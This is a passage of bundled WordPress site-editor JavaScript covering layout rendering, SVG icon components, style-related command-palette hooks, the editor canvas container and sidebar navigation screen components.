8966 animate: { opacity: 1 },
8967 exit: { opacity: 0 },
8968 transition: {
8969 type: "tween",
8970 duration: (
8971 // Disable transition in mobile to emulate a full page transition.
8972 disableMotion || isMobileViewport ? 0 : layout_ANIMATION_DURATION
8973 ),
8974 ease: "easeOut"
8975 },
8976 className: "edit-site-layout__sidebar",
8977 children: [
8978 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8979 site_hub_default,
8980 {
8981 ref: toggleRef,
8982 isTransparent: isResizableFrameOversized
8983 }
8984 ),
8985 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationProvider, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8986 SidebarContent,
8987 {
8988 shouldAnimate: routeKey !== "styles",
8989 routeKey,
8990 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, { children: areas.sidebar })
8991 }
8992 ) }),
8993 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveHub, {}),
8994 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {})
8995 ]
8996 }
8997 ) })
8998 }
8999 ),
9000 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorSnackbars, {}),
9001 isMobileViewport && areas.mobile && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-layout__mobile", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationProvider, { children: canvas !== "edit" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9002 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9003 SiteHubMobile,
9004 {
9005 ref: toggleRef,
9006 isTransparent: isResizableFrameOversized
9007 }
9008 ),
9009 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContent, { routeKey, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, { children: areas.mobile }) }),
9010 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveHub, {}),
9011 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {})
9012 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, { children: areas.mobile }) }) }),
9013 !isMobileViewport && areas.content && canvas !== "edit" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9014 "div",
9015 {
9016 className: "edit-site-layout__area",
9017 style: {
9018 maxWidth: widths?.content
9019 },
9020 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, { children: areas.content })
9021 }
9022 ),
9023 !isMobileViewport && areas.edit && canvas !== "edit" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9024 "div",
9025 {
9026 className: "edit-site-layout__area",
9027 style: {
9028 maxWidth: widths?.edit
9029 },
9030 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, { children: areas.edit })
9031 }
9032 ),
9033 !isMobileViewport && areas.preview && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-site-layout__canvas-container", children: [
9034 canvasResizer,
9035 !!canvasSize.width && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9036 "div",
9037 {
9038 className: dist_clsx(
9039 "edit-site-layout__canvas",
9040 {
9041 "is-right-aligned": isResizableFrameOversized
9042 }
9043 ),
9044 ref: animationRef,
9045 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9046 resizable_frame_default,
9047 {
9048 isReady: !isEditorLoading,
9049 isFullWidth: canvas === "edit",
9050 defaultSize: {
9051 width: canvasSize.width - 24,
9052 height: canvasSize.height
9053 },
9054 isOversized: isResizableFrameOversized,
9055 setIsOversized: setIsResizableFrameOversized,
9056 innerContentStyle: {
9057 background: gradientValue ?? backgroundColor
9058 },
9059 children: areas.preview
9060 }
9061 ) })
9062 }
9063 )
9064 ] })
9065 ] })
9066 }
9067 )
9068 ] });
9069}
9070function LayoutWithGlobalStylesProvider(props) {
9071 const { createErrorNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
9072 function onPluginAreaError(name) {
9073 createErrorNotice(
9074 (0,external_wp_i18n_namespaceObject.sprintf)(
9075 /* translators: %s: plugin name */
9076 (0,external_wp_i18n_namespaceObject.__)(
9077 'The "%s" plugin has encountered an error and cannot be rendered.'
9078 ),
9079 name
9080 )
9081 );
9082 }
9083 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SlotFillProvider, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(GlobalStylesProvider, { children: [
9084 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_plugins_namespaceObject.PluginArea, { onError: onPluginAreaError }),
9085 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Layout, { ...props })
9086 ] }) });
9087}
9088
9089
9090;// ./node_modules/@wordpress/icons/build-module/library/help.js
9091
9092
9093var help_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4a8 8 0 1 1 .001 16.001A8 8 0 0 1 12 4Zm0 1.5a6.5 6.5 0 1 0-.001 13.001A6.5 6.5 0 0 0 12 5.5Zm.75 11h-1.5V15h1.5v1.5Zm-.445-9.234a3 3 0 0 1 .445 5.89V14h-1.5v-1.25c0-.57.452-.958.917-1.01A1.5 1.5 0 0 0 12 8.75a1.5 1.5 0 0 0-1.5 1.5H9a3 3 0 0 1 3.305-2.984Z" }) });
9094
9095
9096;// ./node_modules/@wordpress/icons/build-module/library/rotate-right.js
9097
9098
9099var rotate_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z" }) });
9100
9101
9102;// ./node_modules/@wordpress/icons/build-module/library/rotate-left.js
9103
9104
9105var rotate_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z" }) });
9106
9107
9108;// ./node_modules/@wordpress/icons/build-module/library/backup.js
9109
9110
9111var backup_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z" }) });
9112
9113
9114;// ./node_modules/@wordpress/edit-site/build-module/hooks/commands/use-common-commands.js
9115
9116
9117
9118
9119
9120
9121
9122
9123
9124
9125
9126const { useGlobalStylesReset } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
9127const { useHistory: use_common_commands_useHistory, useLocation: use_common_commands_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
9128const getGlobalStylesToggleWelcomeGuideCommands = () => function useGlobalStylesToggleWelcomeGuideCommands() {
9129 const { openGeneralSidebar } = unlock((0,external_wp_data_.useDispatch)(store));
9130 const { params } = use_common_commands_useLocation();
9131 const { canvas = "view" } = params;
9132 const { set } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
9133 const history = use_common_commands_useHistory();
9134 const isBlockBasedTheme = (0,external_wp_data_.useSelect)((select) => {
9135 return select(external_wp_coreData_namespaceObject.store).getCurrentTheme().is_block_theme;
9136 }, []);
9137 const commands = (0,external_wp_element_.useMemo)(() => {
9138 if (!isBlockBasedTheme) {
9139 return [];
9140 }
9141 return [
9142 {
9143 name: "core/edit-site/toggle-styles-welcome-guide",
9144 label: (0,external_wp_i18n_namespaceObject.__)("Learn about styles"),
9145 callback: ({ close }) => {
9146 close();
9147 if (canvas !== "edit") {
9148 history.navigate("/styles?canvas=edit", {
9149 transition: "canvas-mode-edit-transition"
9150 });
9151 }
9152 openGeneralSidebar("edit-site/global-styles");
9153 set("core/edit-site", "welcomeGuideStyles", true);
9154 setTimeout(() => {
9155 set("core/edit-site", "welcomeGuideStyles", true);
9156 }, 500);
9157 },
9158 icon: help_default
9159 }
9160 ];
9161 }, [history, openGeneralSidebar, canvas, isBlockBasedTheme, set]);
9162 return {
9163 isLoading: false,
9164 commands
9165 };
9166};
9167const getGlobalStylesResetCommands = () => function useGlobalStylesResetCommands() {
9168 const [canReset, onReset] = useGlobalStylesReset();
9169 const commands = (0,external_wp_element_.useMemo)(() => {
9170 if (!canReset) {
9171 return [];
9172 }
9173 return [
9174 {
9175 name: "core/edit-site/reset-global-styles",
9176 label: (0,external_wp_i18n_namespaceObject.__)("Reset styles"),
9177 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? rotate_right_default : rotate_left_default,
9178 callback: ({ close }) => {
9179 close();
9180 onReset();
9181 }
9182 }
9183 ];
9184 }, [canReset, onReset]);
9185 return {
9186 isLoading: false,
9187 commands
9188 };
9189};
9190const getGlobalStylesOpenRevisionsCommands = () => function useGlobalStylesOpenRevisionsCommands() {
9191 const { openGeneralSidebar, setEditorCanvasContainerView } = unlock(
9192 (0,external_wp_data_.useDispatch)(store)
9193 );
9194 const { params } = use_common_commands_useLocation();
9195 const { canvas = "view" } = params;
9196 const history = use_common_commands_useHistory();
9197 const hasRevisions = (0,external_wp_data_.useSelect)((select) => {
9198 const { getEntityRecord, __experimentalGetCurrentGlobalStylesId } = select(external_wp_coreData_namespaceObject.store);
9199 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
9200 const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
9201 return !!globalStyles?._links?.["version-history"]?.[0]?.count;
9202 }, []);
9203 const commands = (0,external_wp_element_.useMemo)(() => {
9204 if (!hasRevisions) {
9205 return [];
9206 }
9207 return [
9208 {
9209 name: "core/edit-site/open-styles-revisions",
9210 label: (0,external_wp_i18n_namespaceObject.__)("Open style revisions"),
9211 icon: backup_default,
9212 callback: ({ close }) => {
9213 close();
9214 if (canvas !== "edit") {
9215 history.navigate("/styles?canvas=edit", {
9216 transition: "canvas-mode-edit-transition"
9217 });
9218 }
9219 openGeneralSidebar("edit-site/global-styles");
9220 setEditorCanvasContainerView(
9221 "global-styles-revisions"
9222 );
9223 }
9224 }
9225 ];
9226 }, [
9227 history,
9228 openGeneralSidebar,
9229 setEditorCanvasContainerView,
9230 hasRevisions,
9231 canvas
9232 ]);
9233 return {
9234 isLoading: false,
9235 commands
9236 };
9237};
9238function useCommonCommands() {
9239 (0,external_wp_commands_namespaceObject.useCommandLoader)({
9240 name: "core/edit-site/toggle-styles-welcome-guide",
9241 hook: getGlobalStylesToggleWelcomeGuideCommands()
9242 });
9243 (0,external_wp_commands_namespaceObject.useCommandLoader)({
9244 name: "core/edit-site/reset-global-styles",
9245 hook: getGlobalStylesResetCommands()
9246 });
9247 (0,external_wp_commands_namespaceObject.useCommandLoader)({
9248 name: "core/edit-site/open-styles-revisions",
9249 hook: getGlobalStylesOpenRevisionsCommands()
9250 });
9251}
9252
9253
9254;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
9255
9256
9257var close_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
9258
9259
9260;// ./node_modules/@wordpress/edit-site/build-module/components/editor-canvas-container/index.js
9261
9262
9263
9264
9265
9266
9267
9268
9269
9270
9271
9272
9273const { EditorContentSlotFill, ResizableEditor } = unlock(external_wp_editor_namespaceObject.privateApis);
9274function getEditorCanvasContainerTitle(view) {
9275 switch (view) {
9276 case "style-book":
9277 return (0,external_wp_i18n_namespaceObject.__)("Style Book");
9278 case "global-styles-revisions":
9279 case "global-styles-revisions:style-book":
9280 return (0,external_wp_i18n_namespaceObject.__)("Style Revisions");
9281 default:
9282 return "";
9283 }
9284}
9285function EditorCanvasContainer({
9286 children,
9287 closeButtonLabel,
9288 onClose,
9289 enableResizing = false
9290}) {
9291 const { editorCanvasContainerView, showListViewByDefault } = (0,external_wp_data_.useSelect)(
9292 (select) => {
9293 const _editorCanvasContainerView = unlock(
9294 select(store)
9295 ).getEditorCanvasContainerView();
9296 const _showListViewByDefault = select(external_wp_preferences_.store).get(
9297 "core",
9298 "showListViewByDefault"
9299 );
9300 return {
9301 editorCanvasContainerView: _editorCanvasContainerView,
9302 showListViewByDefault: _showListViewByDefault
9303 };
9304 },
9305 []
9306 );
9307 const [isClosed, setIsClosed] = (0,external_wp_element_.useState)(false);
9308 const { setEditorCanvasContainerView } = unlock(
9309 (0,external_wp_data_.useDispatch)(store)
9310 );
9311 const { setIsListViewOpened } = (0,external_wp_data_.useDispatch)(external_wp_editor_namespaceObject.store);
9312 const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)("firstElement");
9313 const sectionFocusReturnRef = (0,external_wp_compose_namespaceObject.useFocusReturn)();
9314 function onCloseContainer() {
9315 setIsListViewOpened(showListViewByDefault);
9316 setEditorCanvasContainerView(void 0);
9317 setIsClosed(true);
9318 if (typeof onClose === "function") {
9319 onClose();
9320 }
9321 }
9322 function closeOnEscape(event) {
9323 if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
9324 event.preventDefault();
9325 onCloseContainer();
9326 }
9327 }
9328 const childrenWithProps = Array.isArray(children) ? external_wp_element_.Children.map(
9329 children,
9330 (child, index) => index === 0 ? (0,external_wp_element_.cloneElement)(child, {
9331 ref: sectionFocusReturnRef
9332 }) : child
9333 ) : (0,external_wp_element_.cloneElement)(children, {
9334 ref: sectionFocusReturnRef
9335 });
9336 if (isClosed) {
9337 return null;
9338 }
9339 const title = getEditorCanvasContainerTitle(editorCanvasContainerView);
9340 const shouldShowCloseButton = onClose || closeButtonLabel;
9341 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorContentSlotFill.Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-editor-canvas-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizableEditor, { enableResizing, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9342 "section",
9343 {
9344 className: "edit-site-editor-canvas-container__section",
9345 ref: shouldShowCloseButton ? focusOnMountRef : null,
9346 onKeyDown: closeOnEscape,
9347 "aria-label": title,
9348 children: [
9349 shouldShowCloseButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9350 external_wp_components_namespaceObject.Button,
9351 {
9352 size: "compact",
9353 className: "edit-site-editor-canvas-container__close-button",
9354 icon: close_small_default,
9355 label: closeButtonLabel || (0,external_wp_i18n_namespaceObject.__)("Close"),
9356 onClick: onCloseContainer
9357 }
9358 ),
9359 childrenWithProps
9360 ]
9361 }
9362 ) }) }) });
9363}
9364function useHasEditorCanvasContainer() {
9365 const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(EditorContentSlotFill.name);
9366 return !!fills?.length;
9367}
9368var editor_canvas_container_default = EditorCanvasContainer;
9369
9370
9371;// ./node_modules/@wordpress/edit-site/build-module/hooks/commands/use-set-command-context.js
9372
9373
9374
9375
9376
9377
9378const { useCommandContext } = unlock(external_wp_commands_namespaceObject.privateApis);
9379const { useLocation: use_set_command_context_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
9380function useSetCommandContext() {
9381 const { query = {} } = use_set_command_context_useLocation();
9382 const { canvas = "view" } = query;
9383 const hasBlockSelected = (0,external_wp_data_.useSelect)((select) => {
9384 return select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart();
9385 }, []);
9386 const hasEditorCanvasContainer = useHasEditorCanvasContainer();
9387 let commandContext = "site-editor";
9388 if (canvas === "edit") {
9389 commandContext = "entity-edit";
9390 }
9391 if (hasBlockSelected) {
9392 commandContext = "block-selection-edit";
9393 }
9394 if (hasEditorCanvasContainer) {
9395 commandContext = "";
9396 }
9397 useCommandContext(commandContext);
9398}
9399
9400
9401;// ./node_modules/@wordpress/icons/build-module/library/styles.js
9402
9403
9404var styles_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9405 external_wp_primitives_namespaceObject.Path,
9406 {
9407 fillRule: "evenodd",
9408 clipRule: "evenodd",
9409 d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z"
9410 }
9411) });
9412
9413
9414;// ./node_modules/@wordpress/icons/build-module/library/navigation.js
9415
9416
9417var navigation_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) });
9418
9419
9420;// ./node_modules/@wordpress/icons/build-module/library/page.js
9421
9422
9423var page_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
9424 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }),
9425 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })
9426] });
9427
9428
9429;// ./node_modules/@wordpress/icons/build-module/library/layout.js
9430
9431
9432var layout_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
9433
9434
9435;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
9436
9437
9438var symbol_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
9439
9440
9441;// ./node_modules/@wordpress/icons/build-module/library/chevron-right.js
9442
9443
9444var chevron_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z" }) });
9445
9446
9447;// ./node_modules/@wordpress/icons/build-module/library/chevron-left.js
9448
9449
9450var chevron_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z" }) });
9451
9452
9453;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-button/index.js
9454
9455
9456
9457function SidebarButton(props) {
9458 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9459 external_wp_components_namespaceObject.Button,
9460 {
9461 size: "compact",
9462 ...props,
9463 className: dist_clsx("edit-site-sidebar-button", props.className)
9464 }
9465 );
9466}
9467
9468
9469;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen/index.js
9470
9471
9472
9473
9474
9475
9476
9477
9478
9479
9480
9481
9482
9483
9484const { useHistory: sidebar_navigation_screen_useHistory, useLocation: sidebar_navigation_screen_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
9485function SidebarNavigationScreen({
9486 isRoot,
9487 title,
9488 actions,
9489 content,
9490 footer,
9491 description,
9492 backPath: backPathProp
9493}) {
9494 const { dashboardLink, dashboardLinkText, previewingThemeName } = (0,external_wp_data_.useSelect)(
9495 (select) => {
9496 const { getSettings } = unlock(select(store));
9497 const currentlyPreviewingThemeId = currentlyPreviewingTheme();
9498 return {
9499 dashboardLink: getSettings().__experimentalDashboardLink,
9500 dashboardLinkText: getSettings().__experimentalDashboardLinkText,
9501 // Do not call `getTheme` with null, it will cause a request to
9502 // the server.
9503 previewingThemeName: currentlyPreviewingThemeId ? select(external_wp_coreData_namespaceObject.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : void 0
9504 };
9505 },
9506 []
9507 );
9508 const location = sidebar_navigation_screen_useLocation();
9509 const history = sidebar_navigation_screen_useHistory();
9510 const { navigate } = (0,external_wp_element_.useContext)(SidebarNavigationContext);
9511 const backPath = backPathProp ?? location.state?.backPath;
9512 const icon = (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default;
9513 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9514 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9515 external_wp_components_namespaceObject.__experimentalVStack,
9516 {
9517 className: dist_clsx("edit-site-sidebar-navigation-screen__main", {
9518 "has-footer": !!footer
9519 }),
9520 spacing: 0,
9521 justify: "flex-start",
9522 children: [
9523 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9524 external_wp_components_namespaceObject.__experimentalHStack,
9525 {
9526 spacing: 3,
9527 alignment: "flex-start",
9528 className: "edit-site-sidebar-navigation-screen__title-icon",
9529 children: [
9530 !isRoot && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9531 SidebarButton,
9532 {
9533 onClick: () => {
9534 history.navigate(backPath);
9535 navigate("back");
9536 },
9537 icon,
9538 label: (0,external_wp_i18n_namespaceObject.__)("Back"),
9539 showTooltip: false
9540 }
9541 ),
9542 isRoot && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9543 SidebarButton,
9544 {
9545 icon,
9546 label: dashboardLinkText || (0,external_wp_i18n_namespaceObject.__)("Go to the Dashboard"),
9547 href: dashboardLink
9548 }
9549 ),
9550 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9551 external_wp_components_namespaceObject.__experimentalHeading,
9552 {
9553 className: "edit-site-sidebar-navigation-screen__title",
9554 color: "#e0e0e0",
9555 level: 1,
9556 size: 20,
9557 children: !isPreviewingTheme() ? title : (0,external_wp_i18n_namespaceObject.sprintf)(
9558 /* translators: 1: theme name. 2: title */
9559 (0,external_wp_i18n_namespaceObject.__)("Previewing %1$s: %2$s"),
9560 previewingThemeName,
9561 title
9562 )
9563 }
9564 ),
9565 actions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-sidebar-navigation-screen__actions", children: actions })
9566 ]
9567 }
9568 ),
9569 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-site-sidebar-navigation-screen__content", children: [
9570 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-sidebar-navigation-screen__description", children: description }),
9571 content
9572 ] })
9573 ]
9574 }
9575 ),
9576 footer && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("footer", { className: "edit-site-sidebar-navigation-screen__footer", children: footer })
9577 ] });
9578}
9579
9580
9581;// ./node_modules/@wordpress/icons/build-module/icon/index.js
9582
9583var icon_default = (0,external_wp_element_.forwardRef)(
9584 ({ icon, size = 24, ...props }, ref) => {
9585 return (0,external_wp_element_.cloneElement)(icon, {
9586 width: size,
9587 height: size,
9588 ...props,
9589 ref
9590 });
9591 }
9592);
9593
9594
9595;// ./node_modules/@wordpress/icons/build-module/library/chevron-left-small.js
9596
9597
